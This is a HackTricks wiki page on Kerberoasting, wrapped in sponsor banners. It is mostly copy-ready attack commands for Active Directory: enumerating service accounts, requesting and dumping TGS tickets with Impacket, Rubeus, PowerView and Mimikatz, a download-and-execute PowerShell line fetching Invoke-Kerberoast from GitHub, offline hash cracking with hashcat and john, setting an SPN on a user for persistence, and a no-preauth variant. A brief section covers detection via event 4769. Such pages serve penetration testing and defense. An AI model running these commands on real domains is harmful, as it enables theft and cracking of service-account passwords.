# Kerberoast
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Kerberoast The goal of **Kerberoasting** is to harvest **TGS tickets for services that run on behalf of user accounts** in the AD, not computer accounts. Thus, **part** of these TGS **tickets are** **encrypted** with **keys** derived from user passwords. As a consequence, their credentials could be **cracked offline**.\ You can know that a **user account** is being used as a **service** because the property **"ServicePrincipalName"** is **not null**. Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required. **You need valid credentials inside the domain.** ### **Attack** {% hint style="warning" %} **Kerberoasting tools** typically request **`RC4 encryption`** when performing the attack and initiating TGS-REQ requests. This is because **RC4 is** [**weaker**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795) and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256.\ RC4 (type 23) hashes begin with **`$krb5tgs$23$*`** while AES-256(type 18) start with **`$krb5tgs$18$*`**`.` {% endhint %} #### **Linux** ```bash # Metasploit framework msf> use auxiliary/gather/get_user_spns # Impacket GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast # Password will be prompted GetUserSPNs.py -request -dc-ip -hashes : / -outputfile hashes.kerberoast # kerberoast: https://github.com/skelsec/kerberoast kerberoast ldap spn 'ldap+ntlm-password://\:@' -o kerberoastable # 1. Enumerate kerberoastable users kerberoast spnroast 'kerberos+password://\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes ``` Multi-features tools including a dump of kerberoastable users: ```bash # ADenum: https://github.com/SecuProject/ADenum adenum -d -ip -u -p -c ``` #### Windows * **Enumerate Kerberoastable users** ```powershell # Get Kerberoastable users setspn.exe -Q */* #This is a built-in binary. Focus on user accounts Get-NetUser -SPN | select serviceprincipalname #Powerview .\Rubeus.exe kerberoast /stats ``` * **Technique 1: Ask for TGS and dump it from memory** ```powershell #Get TGS in memory from a single user Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local #Get TGSs for ALL kerberoastable accounts (PCs included, not really smart) setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } #List kerberos tickets in memory klist # Extract them from memory Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder # Transform kirbi ticket to john python2.7 kirbi2john.py sqldev.kirbi # Transform john to hashcat sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat ``` * **Technique 2: Automatic tools** ```bash # Powerview: Get Kerberoast hash of a user Request-SPNTicket -SPN "" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local # Powerview: Get all Kerberoast hashes Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation # Rubeus .\Rubeus.exe kerberoast /outfile:hashes.kerberoast .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins # Invoke-Kerberoast iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast ``` {% hint style="warning" %} When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated. {% endhint %}
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ### Cracking ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` ### Persistence If you have **enough permissions** over a user you can **make it kerberoastable**: ```bash Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose ``` You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options: * `ntpdate ` - Deprecated as of Ubuntu 16.04 * `rdate -n ` ### Mitigation Kerberoast is very stealthy if exploitable * Security Event ID 4769 – A Kerberos ticket was requested * Since 4769 is very frequent, lets filter the results: * Service name should not be krbtgt * Service name does not end with $ (to filter out machine accounts used for services) * Account name should not be machine@domain (to filter out requests from machines) * Failure code is '0x0' (to filter out failures, 0x0 is success) * Most importantly, ticket encryption type is 0x17 * Mitigation: * Service Account Passwords should be hard to guess (greater than 25 characters) * Use Managed Service Accounts (Automatic change of password periodically and delegated SPN Management) ```bash Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message ``` ## Kerberoast w/o domain account In September 2022 a vulnerability was discovered by [Charlie Clark](https://exploit.ph/), ST (Service Tickets) can be obtained through KRB\_AS\_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an **KRB\_AS\_REQ** request and trick the request to ask for a **ST** instead of a **encrypted TGT**, by modifying the **sname** attribute in the req-body part of the request. The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). {% hint style="warning" %} You must provide a list of users because we don't have a valid account to query the LDAP using this technique. {% endhint %} #### Linux * [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413): ```bash GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/ ``` #### Windows * [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139): ```bash Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE" ``` **More information about Kerberoasting in ired.team in** [**here** ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)**and** [**here**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)**.**
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}